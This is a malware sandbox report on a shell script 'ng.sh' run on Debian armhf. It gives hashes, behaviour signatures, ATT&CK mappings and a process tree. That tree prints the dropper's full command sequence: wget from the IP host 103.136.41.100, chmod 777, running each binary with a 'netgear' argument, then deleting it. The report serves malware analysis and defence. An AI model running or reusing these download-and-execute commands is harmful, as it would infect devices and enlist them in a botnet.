97ad97cf7e32f4f744878694c69bebee659c9b30b49f4fdd6bf0abcc4fea1b09

Analysis

max time kernel
149s
max time network
160s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/01/2025, 16:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ng.sh
Size 558B
Sample250108-tmceysvpet
SHA256 97ad97cf7e32f4f744878694c69bebee659c9b30b49f4fdd6bf0abcc4fea1b09
MD5 37387c961cee04dbead5c179cc0dc6ae
SHA1 9defe3c61b648ffba306df9b33831699c403a2ef
SHA512 d4dde3df6b7aa92af0721c444ed45500efb1ddaf8f5d2b33faf196e06e9573556c9a6ab2b92dcbd76ce6ff8f362aafd8445e4d73b26fddbe8bacf8632a38aeea
MD5 SHA1 SHA512

Score

9^/10

defense_evasion discovery

Malware Config

Signatures

Contacts a large (36601) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
706	chmod
719	chmod
665	chmod
682	chmod
691	chmod
702	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/12	668	12
/tmp/2	683	2
/tmp/3	692	3
/tmp/5	707	5

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/bin/login	692	3
Changes the process name, possibly in an attempt to hide itself	/bin/login	707	5

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/692/status	3
File opened for reading	/proc/654/cmdline	5
File opened for reading	/proc/599/cmdline	3
File opened for reading	/proc/224/cmdline	5
File opened for reading	/proc/711/status	5
File opened for reading	/proc/708/cmdline	5
File opened for reading	/proc/140/cmdline	3
File opened for reading	/proc/281/cmdline	3
File opened for reading	/proc/310/cmdline	3
File opened for reading	/proc/654/cmdline	3
File opened for reading	/proc/695/cmdline	3
File opened for reading	/proc/707/status	5
File opened for reading	/proc/602/cmdline	5
File opened for reading	/proc/642/cmdline	5
File opened for reading	/proc/224/cmdline	3
File opened for reading	/proc/710/cmdline	5
File opened for reading	/proc/716/cmdline	5
File opened for reading	/proc/649/cmdline	5
File opened for reading	/proc/324/cmdline	3
File opened for reading	/proc/693/cmdline	3
File opened for reading	/proc/310/cmdline	5
File opened for reading	/proc/681/cmdline	5
File opened for reading	/proc/145/cmdline	5
File opened for reading	/proc/715/cmdline	5
File opened for reading	/proc/1/cmdline	3
File opened for reading	/proc/596/cmdline	3
File opened for reading	/proc/601/cmdline	3
File opened for reading	/proc/581/cmdline	5
File opened for reading	/proc/165/cmdline	3
File opened for reading	/proc/681/cmdline	3
File opened for reading	/proc/278/cmdline	5
File opened for reading	/proc/320/cmdline	5
File opened for reading	/proc/165/cmdline	5
File opened for reading	/proc/656/cmdline	5
File opened for reading	/proc/308/cmdline	3
File opened for reading	/proc/599/cmdline	5
File opened for reading	/proc/696/cmdline	5
File opened for reading	/proc/308/cmdline	5
File opened for reading	/proc/641/cmdline	3
File opened for reading	/proc/277/cmdline	5
File opened for reading	/proc/324/cmdline	5
File opened for reading	/proc/279/cmdline	3
File opened for reading	/proc/602/cmdline	3
File opened for reading	/proc/656/cmdline	3
File opened for reading	/proc/641/cmdline	5
File opened for reading	/proc/292/cmdline	3
File opened for reading	/proc/279/cmdline	5
File opened for reading	/proc/281/cmdline	5
File opened for reading	/proc/292/cmdline	5
File opened for reading	/proc/596/cmdline	5
File opened for reading	/proc/693/cmdline	5
File opened for reading	/proc/649/cmdline	3
File opened for reading	/proc/320/cmdline	3
File opened for reading	/proc/700/cmdline	3
File opened for reading	/proc/1/cmdline	5
File opened for reading	/proc/140/cmdline	5
File opened for reading	/proc/698/cmdline	5
File opened for reading	/proc/278/cmdline	3
File opened for reading	/proc/642/cmdline	3
File opened for reading	/proc/581/cmdline	3
File opened for reading	/proc/696/status	3
File opened for reading	/proc/601/cmdline	5
File opened for reading	/proc/697/cmdline	5
File opened for reading	/proc/277/cmdline	3

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/3	wget
File opened for modification	/tmp/5	wget
File opened for modification	/tmp/ng	ng.sh
File opened for modification	/tmp/12	wget
File opened for modification	/tmp/2	wget

/tmp/ng.sh
/tmp/ng.sh
1⤵
- Writes file to tmp directory
PID:649
- /bin/rm
  rm -rf 12
  2⤵
  PID:650
- /usr/bin/wget
  wget http://103.136.41.100/12
  2⤵
  - Writes file to tmp directory
  PID:652
- /bin/chmod
  chmod 777 12
  2⤵
  - File and Directory Permissions Modification
  PID:665
- /tmp/12
  ./12 netgear.1
  2⤵
  - Executes dropped EXE
  PID:668
- /bin/rm
  rm -rf 1
  2⤵
  PID:671
- /bin/rm
  rm -rf 2
  2⤵
  PID:673
- /usr/bin/wget
  wget http://103.136.41.100/2
  2⤵
  - Writes file to tmp directory
  PID:675
- /bin/chmod
  chmod 777 2
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/2
  ./2 netgear.2
  2⤵
  - Executes dropped EXE
  PID:683
- /bin/rm
  rm -rf 2
  2⤵
  PID:685
- /bin/rm
  rm -rf 3
  2⤵
  PID:687
- /usr/bin/wget
  wget http://103.136.41.100/3
  2⤵
  - Writes file to tmp directory
  PID:688
- /bin/chmod
  chmod 777 3
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/3
  ./3 netgear.3
  2⤵
  - Executes dropped EXE
  - Changes its process name
  - Reads runtime system information
  PID:692
- /bin/rm
  rm -rf 3
  2⤵
  PID:695
- /bin/rm
  rm -rf 4
  2⤵
  PID:700
- /usr/bin/wget
  wget http://103.136.41.100/4
  2⤵
  PID:701
- /bin/chmod
  chmod 777 4
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/4
  ./4 netgear.4 rm -rf 4
  2⤵
  PID:703
- /bin/rm
  rm -rf 5
  2⤵
  PID:704
- /usr/bin/wget
  wget http://103.136.41.100/5
  2⤵
  - Writes file to tmp directory
  PID:705
- /bin/chmod
  chmod 777 5
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /tmp/5
  ./5 netgear.5
  2⤵
  - Executes dropped EXE
  - Changes its process name
  - Reads runtime system information
  PID:707
- /bin/rm
  rm -rf 5
  2⤵
  PID:710
- /bin/rm
  rm -rf 6
  2⤵
  PID:716
- /usr/bin/wget
  wget http://103.136.41.100/6
  2⤵
  PID:717
- /bin/chmod
  chmod 777 6
  2⤵
  - File and Directory Permissions Modification
  PID:719
- /tmp/6
  ./6 netgear.6
  2⤵
  PID:721
- /bin/rm
  rm -rf 6
  2⤵
  PID:722
- /bin/rm
  rm -rf ng
  2⤵
  PID:723

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/12
Size 100KB
SHA256 0f5a3371630dc04e62f5f29894c9132acfad6181bdae8baa09e7529b58c658b0
MD5 c5998c935c2a3cd94ca4682f7c1530fd
SHA1 cc4cf8dce4be2c2843a6956b0b8e8ac91dfa1198
SHA512 c3d369aa0117cc4c6d903da431c9b82cf0edea94bd692e0c57cf2ee3983e424d674c964f54ecd9ca9bf27ae88d434f75048200159ad69d60a0ea05b867ab3070
SSDEEP 1536:S2+l0txozQ6EGlx5CUGtxCJKGmzPE6i3g/K5E3k74R+rYxK5ezjIJixGdWXsbdGk:B+KxozQRptxWK1E0zm9jaW
MD5 SHA1 SHA512 SSDEEP

Submit Download

Path /tmp/2
Size 101KB
SHA256 cf15b2fe6dabe8fee0e9bd37b9005a754892968f5cdba5fd429665c648fb44aa
MD5 621d717f53b1ac3743e44a6d35d29eb5
SHA1 5968f35b45177af25f40c32d7fc2e2d9ef202b87
SHA512 94aba9bdddb3c7afe1525009e6c319888e250aeebfe5ef2e0e08db37ba22a19f381fe0821449fccabb6df84ea80e16040c6f83fb43a8a0980d5dbcc3c6b931c8
SSDEEP 1536:CsKiAkifLt/sGgxKY/a6OzrYcaYGgikBNPYnj06e0Qo8cb:CsKiAkizRsGSKY/WYMy
MD5 SHA1 SHA512 SSDEEP

Submit Download

Path /tmp/3
Size 77KB
SHA256 4c638becff4b023e7bba627b057d5a94f12b3d21b47685f7e6e7d2279248fbc9
MD5 963c1d0a861a93a696c45f92340737e3
SHA1 67382900439027b7cf829dca161c0be53f16fcfc
SHA512 420963c31c4491ef4eeb9afcd0d02a99cd652576b4ae208fb319af3082cf6dd97bea5b13e97c2b0daea4bec959e4ea24fdb997c69d60a6271e395fe87e046ce1
SSDEEP 1536:wgh6/b4Z3Zx7ksTfu7ktsgGbbZg1AdcFwPJ3A/obcb:PZp2sbMhb9V2FwPJ3iP
MD5 SHA1 SHA512 SSDEEP

Submit Download

Path /tmp/5
Size 74KB
SHA256 e60a25599c7aec9c84793549b4d4047a17712f675759458fd415f402fa4eb502
MD5 3b09635a49e74b7c1065433e4f9cfe08
SHA1 33f35f9663ac8795660d8855aceee04f449339c5
SHA512 80df11b17041f7d0a0cee3218f6f66600a400c556661041487bd9d360659d77e73c0a7a80bb72d702b8fffcf93600fe94a5262c0fe5c2630464e07c8a9611203
SSDEEP 1536:C8n7t7+3Rk20khDT54RdgLlexQCNMUKi/l1g/8uHqoYcbo:GLBV8p1g/8uHq28
MD5 SHA1 SHA512 SSDEEP

Submit Download

Path /tmp/ng
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads